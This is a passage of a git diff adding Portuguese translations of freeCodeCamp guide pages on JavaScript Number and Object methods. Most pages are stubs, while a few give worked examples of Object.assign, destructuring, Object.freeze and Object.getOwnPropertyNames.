diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-nan/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-nan/index.md
new file mode 100644
index 0000000000..0156739447
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-nan/index.md
@@ -0,0 +1,11 @@
+---
+title: Number NaN
+localeTitle: Número NaN
+---
+## Número NaN
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-nan/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-negative-infinity/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-negative-infinity/index.md
new file mode 100644
index 0000000000..811554c18a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-negative-infinity/index.md
@@ -0,0 +1,11 @@
+---
+title: Number NEGATIVE_INFINITY
+localeTitle: Número NEGATIVE_INFINITY
+---
+## Número NEGATIVE\_INFINITY
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-negative_infinity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-parsefloat/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-parsefloat/index.md
new file mode 100644
index 0000000000..cf7931a252
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-parsefloat/index.md
@@ -0,0 +1,11 @@
+---
+title: Number parseFloat
+localeTitle: Number parseFloat
+---
+## Number parseFloat
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-parsefloat/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-parseint/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-parseint/index.md
new file mode 100644
index 0000000000..02ae3d0894
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-parseint/index.md
@@ -0,0 +1,11 @@
+---
+title: Number parseInt
+localeTitle: Número parseInt
+---
+## Número parseInt
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-parseint/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-positive-infinity/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-positive-infinity/index.md
new file mode 100644
index 0000000000..46ce978c90
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-positive-infinity/index.md
@@ -0,0 +1,11 @@
+---
+title: Number POSITIVE_INFINITY
+localeTitle: Número POSITIVE_INFINITY
+---
+## Número POSITIVE\_INFINITY
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-positive_infinity/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-toexponential/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-toexponential/index.md
new file mode 100644
index 0000000000..dae835ef13
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-toexponential/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toExponential
+localeTitle: Number.prototype.toExponential
+---
+## Number.prototype.toExponential
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-toexponential/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tofixed/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tofixed/index.md
new file mode 100644
index 0000000000..4c465c5ae1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tofixed/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toFixed
+localeTitle: Number.prototype.toFixed
+---
+## Number.prototype.toFixed
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tofixed/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tolocalestring/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tolocalestring/index.md
new file mode 100644
index 0000000000..b43fdeb7c5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tolocalestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toLocaleString
+localeTitle: Number.prototype.toLocaleString
+---
+## Number.prototype.toLocaleString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tolocalestring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-toprecision/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-toprecision/index.md
new file mode 100644
index 0000000000..ece39b796e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-toprecision/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toPrecision
+localeTitle: Number.prototype.toPrecision
+---
+## Number.prototype.toPrecision
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-toprecision/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tosource/index.md
new file mode 100644
index 0000000000..27f49098cb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toSource
+localeTitle: Number.prototype.toSource
+---
+## Number.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tostring/index.md
new file mode 100644
index 0000000000..5014d87c63
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.toString
+localeTitle: Number.prototype.toString
+---
+## Number.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-valueof/index.md b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-valueof/index.md
new file mode 100644
index 0000000000..87fbd7f58b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/number/number-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Number.prototype.valueOf
+localeTitle: Number.prototype.valueOf
+---
+## Number.prototype.valueOf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/number/number-prototype-valueof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/index.md
new file mode 100644
index 0000000000..66bdeff892
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/index.md
@@ -0,0 +1,11 @@
+---
+title: Object
+localeTitle: Objeto
+---
+## Objeto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-assign/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-assign/index.md
new file mode 100644
index 0000000000..9586b6dc61
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-assign/index.md
@@ -0,0 +1,65 @@
+---
+title: Object Assign
+localeTitle: Atribuir Objeto
+---
+## Atribuir Objeto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-assign/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+O método `Object.assign()` é usado para 1) adicionar propriedades e valores a um objeto existente, 2) criar uma nova cópia de um objeto existente ou 3) combinar vários objetos existentes em um único objeto. O método `Object.assign()` requer um targetObject como parâmetro e pode aceitar um número ilimitado de sourceObjects como parâmetros adicionais.
+
+Importante notar aqui é que o parâmetro targetObject sempre será modificado. Se esse parâmetro apontar para um objeto existente, esse objeto será modificado e copiado. Se, no entanto, você deseja criar uma cópia de um objeto sem modificar esse objeto original, pode passar um objeto vazio `{}` como o primeiro parâmetro (ou targetObject) e o objeto a ser copiado como o segundo parâmetro (ou sourceObject).
+
+Se os objetos passados ​​como parâmetros em `Object.assign()` compartilharem as mesmas propriedades (ou chaves), os valores de propriedade que vierem depois na lista de parâmetros sobrescreverão aqueles que vieram antes.
+
+**Sintaxe**
+
+```javascript
+Object.assign(targetObject, ...sourceObject) 
+```
+
+**Valor de retorno**
+
+`Object.assign()` retorna o targetObject.
+
+**Exemplos**
+
+_Modificando e copiando targetObject_
+
+```javascript
+let obj = {name: 'Dave', age: 30}; 
+ 
+ let objCopy = Object.assign(obj, {coder: true}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30, coder: true } 
+ console.log(objCopy); // returns { name: 'Dave', age: 30, coder: true } 
+```
+
+_Copiando targetObject sem modificação_
+
+```javascript
+let obj = {name: 'Dave', age: 30}; 
+ 
+ let objCopy = Object.assign({}, obj, {coder: true}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30 } 
+ console.log(objCopy); // returns { name: 'Dave', age: 30, coder: true } 
+```
+
+_Objetos com as mesmas propriedades_
+
+```javascript
+let obj = {name: 'Dave', age: 30, favoriteColor: 'blue'}; 
+ 
+ let objCopy = Object.assign({}, obj, {coder: true, favoriteColor: 'red'}); 
+ 
+ console.log(obj); // returns { name: 'Dave', age: 30, favoriteColor: 'blue' } 
+ console.log(objCopy); // { name: 'Dave', age: 30, favoriteColor: 'red', coder: true } 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)  
+[Introdução ao Object.assign no ES6 (Video)](https://youtu.be/vM7Tif98Dlo)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-create/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-create/index.md
new file mode 100644
index 0000000000..a2cbd16651
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-create/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Create
+localeTitle: Objeto Criar
+---
+## Objeto Criar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-create/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-defineproperties/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-defineproperties/index.md
new file mode 100644
index 0000000000..4b87ca4c7d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-defineproperties/index.md
@@ -0,0 +1,11 @@
+---
+title: Object defineProperties
+localeTitle: Objeto defineProperties
+---
+## Objeto defineProperties
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-defineproperties/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-defineproperty/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-defineproperty/index.md
new file mode 100644
index 0000000000..c9a709353d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-defineproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Object defineProperty
+localeTitle: Objeto defineProperty
+---
+## Objeto defineProperty
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-defineproperty/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-destructuring/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-destructuring/index.md
new file mode 100644
index 0000000000..f09a8e59b1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-destructuring/index.md
@@ -0,0 +1,191 @@
+---
+title: Object Destructuring
+localeTitle: Destruturação de Objetos
+---
+# Destruturação de Objetos
+
+A desestruturação é uma maneira conveniente de extrair vários valores dos dados armazenados em Objetos. Ele pode ser usado em locais que recebem dados (como o lado esquerdo de uma atribuição). Este recurso é introduzido no `ECMAScript 6` .
+
+Como extrair os valores é especificado através de padrões (leia sobre exemplos).
+
+### Atribuição básica
+```
+var userInfo = {name: 'neel', age: 22}; 
+ var {name, age} = userInfo; 
+ 
+ console.log(name); // neel 
+ console.log(age); // 22 
+```
+
+### Atribuição sem declaração
+
+Uma variável pode ser atribuída a seu valor com a desestruturação separada de sua declaração.
+```
+var name, age; 
+ 
+ ({name, age} = {name: 'neel', age: 22}); 
+```
+
+> O `( .. )` ao redor da instrução de atribuição é uma sintaxe obrigatória ao usar a atribuição de desestruturação de literal de objeto sem uma declaração.
+> 
+> `{name, age} = {name: 'neel', age: 22}` não é uma sintaxe independente válida, pois o `{name, age}` no lado esquerdo é considerado um bloco e não um literal de objeto.
+> 
+> No entanto, `({name, age} = {name: 'neel', age: 22})` é válido, assim como `var {name, age} = {name: 'neel', age: 22}`
+
+### Atribuindo a novos nomes de variáveis
+
+Uma propriedade pode ser descompactada de um objeto e atribuída a uma variável com um nome diferente da propriedade do objeto.
+```
+var userInfo = {a: 'neel', b: 22}; 
+ var {a: name, b: bar} = userInfo; 
+ 
+ console.log(name); // neel 
+ console.log(bar); // 22 
+```
+
+### Valores padrão
+
+Uma variável pode receber um padrão, caso o valor descompactado do objeto seja `undefined` .
+```
+var {name = 'ananonumys', age = 20} = {name: 'neel'}; 
+ 
+ console.log(name); // neel 
+ console.log(age); // 20 
+```
+
+### Atribuindo a novos nomes de variáveis ​​e fornecendo valores padrão
+
+Uma propriedade pode ser tanto
+
+1.  descompactado de um objeto e atribuído a uma variável com um nome diferente e
+2.  atribuído um valor padrão no caso de o valor descompactado ser `undefined` .
+```
+var {a:name = 'ananonumys', b:age = 20} = {age: 22}; 
+ 
+ console.log(name); // ananonumys 
+ console.log(age); // 22 
+```
+
+### Configurando o valor padrão de um parâmetro de função
+
+#### Versão ES5
+```
+function getUserInfo(data) { 
+  data = data === undefined ? {} : data; 
+  var name = data.name === undefined ? 'ananonumys' : data.name; 
+  var age = data.age === undefined ? 20 : data.age; 
+  var location = data.location === undefined ? 'india' : data.location; 
+  console.log(name, age, location); 
+  // print user data 
+ } 
+ 
+ getUserInfo({ 
+  name: 'neel', 
+  age: 22, 
+  location: 'canada' 
+ }); 
+```
+
+#### Versão ES2015
+```
+function getUserInfo({name = 'ananonumys', age = 20, location = 'india'} = {}) { 
+  console.log(name, age, location); 
+  // print user data 
+ } 
+ 
+ getUserInfo({ 
+  name: 'neel', 
+  age: 22, 
+  location: 'canada' 
+ }); 
+```
+
+> Na assinatura da função para `getUserInfo` acima, o lado esquerdo desestruturado é atribuído a um literal de objeto vazio no lado direito: `{name = 'ananonumys', age = 20, location = 'india'} = {}` . Você também pode ter escrito a função sem a atribuição do lado direito. No entanto, se você deixar de fora a atribuição do lado direito, a função procurará pelo menos um argumento a ser fornecido quando invocada, enquanto na sua forma atual, você pode simplesmente chamar `getUserInfo()` sem fornecer nenhum parâmetro. O design atual é útil se você quiser chamar a função sem fornecer nenhum parâmetro, o outro pode ser útil quando você deseja garantir que um objeto seja passado para a função.
+
+### Objeto aninhado e desestruturação de matriz
+```
+var metadata = { 
+    title: 'Scratchpad', 
+    translations: [ 
+       { 
+        locale: 'de', 
+        localization_tags: [], 
+        last_edit: '2014-04-14T08:43:37', 
+        url: '/de/docs/Tools/Scratchpad', 
+        title: 'JavaScript-Umgebung' 
+       } 
+    ], 
+    url: '/en-US/docs/Tools/Scratchpad' 
+ }; 
+ 
+ var {title: englishTitle, translations: [{title: localeTitle}]} = metadata; 
+ 
+ console.log(englishTitle); // "Scratchpad" 
+ console.log(localeTitle);  // "JavaScript-Umgebung" 
+```
+
+### Para iteração e desestruturação
+```
+var people = [ 
+  { 
+    name: 'Mike Smith', 
+    family: { 
+      mother: 'Jane Smith', 
+      father: 'Harry Smith', 
+      sister: 'Samantha Smith' 
+    }, 
+    age: 35 
+  }, 
+  { 
+    name: 'Tom Jones', 
+    family: { 
+      mother: 'Norah Jones', 
+      father: 'Richard Jones', 
+      brother: 'Howard Jones' 
+    }, 
+    age: 25 
+  } 
+ ]; 
+ 
+ for (var {name: n, family: {father: f}} of people) { 
+  console.log('Name: ' + n + ', Father: ' + f); 
+ } 
+ 
+ // "Name: Mike Smith, Father: Harry Smith" 
+ // "Name: Tom Jones, Father: Richard Jones" 
+```
+
+### Descompactando campos de objetos passados ​​como parâmetro de função
+```
+function userId({id}) { 
+  return id; 
+ } 
+ 
+ function whois({displayName, fullName: {firstName: name}}) { 
+  console.log(displayName + ' is ' + name); 
+ } 
+ 
+ var user = { 
+  id: 42, 
+  displayName: 'jdoe', 
+  fullName: { 
+      firstName: 'John', 
+      lastName: 'Doe' 
+  } 
+ }; 
+ 
+ console.log('userId: ' + userId(user)); // "userId: 42" 
+ whois(user); // "jdoe is John" 
+```
+
+Isso descompacta o `id` , `displayName` e `firstName` do objeto do usuário e os imprime.
+
+### Nomes e Desestruturação da Propriedade de Objetos Computados
+```
+let key = 'z'; 
+ let {[key]: foo} = {z: 'bar'}; 
+ 
+ console.log(foo); // "bar" 
+```
+
+Veja também: **Destruturação de Objetos** | [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-entries/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-entries/index.md
new file mode 100644
index 0000000000..fffe1c675a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-entries/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Entries
+localeTitle: Entradas de Objeto
+---
+## Entradas de Objeto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-entries/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-freeze/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-freeze/index.md
new file mode 100644
index 0000000000..15a217ea09
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-freeze/index.md
@@ -0,0 +1,68 @@
+---
+title: Object Freeze
+localeTitle: Congelamento de Objetos
+---
+## Congelamento de Objetos
+
+O método `Object.freeze()` congela um objeto. Um objeto congelado _impedirá você_ de:
+
+*   Adicionando novas propriedades a ele
+*   Removendo propriedades existentes dele
+*   Alterando a enumerabilidade, configurabilidade ou capacidade de gravação de suas propriedades existentes
+
+### Sintaxe
+
+```javascript
+Object.freeze(obj) 
+```
+
+### Parâmetros
+
+`obj`
+
+*   O objeto para congelar.
+
+### Retorna
+
+O objeto congelado.
+
+### Nota importante
+
+A tentativa de adicionar, remover ou modificar propriedades de um objeto congelado resultará em uma falha. Essa falha será silenciosa ou será lançada como um `TypeError` (se o Modo Estrito estiver habilitado). Além disso, `Object.freeze()` é uma operação superficial. Isso significa que objeto aninhado, de um objeto congelado, é modificável.
+
+### Exemplo
+
+```javascript
+// Create your object 
+ let person = { 
+  name: 'Johnny', 
+  age: 23, 
+  guild: 'Army of Darkness', 
+  hobbies: ['music', 'gaming', 'rock climbing'] 
+ } 
+ 
+ // Modify your object 
+ person.name = 'John' 
+ person.age = 24 
+ person.hobbies.splice(1,1) 
+ delete person.guild 
+ 
+ // Verify your object has been modified 
+ console.log(person) // { name: 'John', age: 24, hobbies: ['music', 'rock climbing'] 
+ 
+ // Freeze your object 
+ Object.freeze(person) 
+ 
+ // Verify that your object can no longer be modified 
+ person.name = 'Johnny' // fails silently 
+ person.age = 23 // fails silently 
+ console.log(person) // { name: 'John', age: 24, hobbies: ['music', 'rock climbing'] 
+ 
+ // The freeze is "shallow" and nested objects (including arrays) can still be modified 
+ person.hobbies.push('basketball') 
+ consol.log(person.hobbies) // ['music', 'rock climbing', 'basketball'] 
+```
+
+#### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertydescriptor/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertydescriptor/index.md
new file mode 100644
index 0000000000..210f3093b4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertydescriptor/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertyDescriptor
+localeTitle: Objeto getOwnPropertyDescriptor
+---
+## Objeto getOwnPropertyDescriptor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertydescriptor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertydescriptors/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertydescriptors/index.md
new file mode 100644
index 0000000000..19df97ab6b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertydescriptors/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertyDescriptors
+localeTitle: Objeto getOwnPropertyDescriptors
+---
+## Objeto getOwnPropertyDescriptors
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertydescriptors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertynames/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertynames/index.md
new file mode 100644
index 0000000000..65beef9702
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertynames/index.md
@@ -0,0 +1,75 @@
+---
+title: Object getOwnPropertyNames
+localeTitle: Objeto getOwnPropertyNames
+---
+O método `Object.getOwnPropertyNames()` retorna uma matriz de todas as propriedades (enumeráveis ​​ou não) encontradas diretamente sobre um determinado objeto.
+
+## Sintaxe
+```
+Object.getOwnPropertyNames(obj) 
+```
+
+### Parâmetros
+
+**obj**
+
+O objeto cujas propriedades próprias, enumeráveis _e não enumeráveis,_ devem ser retornadas.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff688126%28v=vs.94%29.aspx)
+
+## Descrição
+
+`Object.getOwnPropertyNames()` retorna um array cujos elementos são strings correspondentes às propriedades enumeráveis _e não enumeráveis_ encontradas diretamente no objeto. A ordenação das propriedades enumeráveis ​​na matriz é consistente com a ordenação exposta por um loop `for...in` (ou por `Object.keys()` ) sobre as propriedades do objeto. A ordenação das propriedades não enumeráveis ​​na matriz e entre as propriedades enumeráveis ​​não está definida.
+
+## Exemplos
+```
+var arr = ['a', 'b', 'c']; 
+ console.log(Object.getOwnPropertyNames(arr).sort()); // logs '0,1,2,length' 
+ 
+ // Array-like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.getOwnPropertyNames(obj).sort()); // logs '0,1,2' 
+ 
+ // Logging property names and values using Array.forEach 
+ Object.getOwnPropertyNames(obj).forEach(function(val, idx, array) { 
+  console.log(val + ' -> ' + obj[val]); 
+ }); 
+ // logs 
+ // 0 -> a 
+ // 1 -> b 
+ // 2 -> c 
+ 
+ // non-enumerable property 
+ var my_obj = Object.create({}, { 
+  getFoo: { 
+    value: function() { return this.foo; }, 
+    enumerable: false 
+  } 
+ }); 
+ my_obj.foo = 1; 
+ 
+ console.log(Object.getOwnPropertyNames(my_obj).sort()); // logs 'foo,getFoo' 
+ 
+ function Pasta(grain, size, shape) { 
+    this.grain = grain; 
+    this.size = size; 
+    this.shape = shape; 
+ } 
+ 
+ var spaghetti = new Pasta("wheat", 2, "circle"); 
+ 
+ var names = Object.getOwnPropertyNames(spaghetti).filter(CheckKey); 
+ document.write(names); 
+ 
+ // Check whether the first character of a string is 's'. 
+ function CheckKey(value) { 
+    var firstChar = value.substr(0, 1); 
+    if (firstChar.toLowerCase() == 's') 
+        return true; 
+    else 
+         return false; 
+ } 
+ // Output: 
+ // size,shape 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertysymbols/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertysymbols/index.md
new file mode 100644
index 0000000000..74b2a42332
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-getownpropertysymbols/index.md
@@ -0,0 +1,11 @@
+---
+title: Object getOwnPropertySymbols
+localeTitle: Objeto getOwnPropertySymbols
+---
+## Objeto getOwnPropertySymbols
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getownpropertysymbols/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-getprototypeof/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-getprototypeof/index.md
new file mode 100644
index 0000000000..e7fdbc5fb7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-getprototypeof/index.md
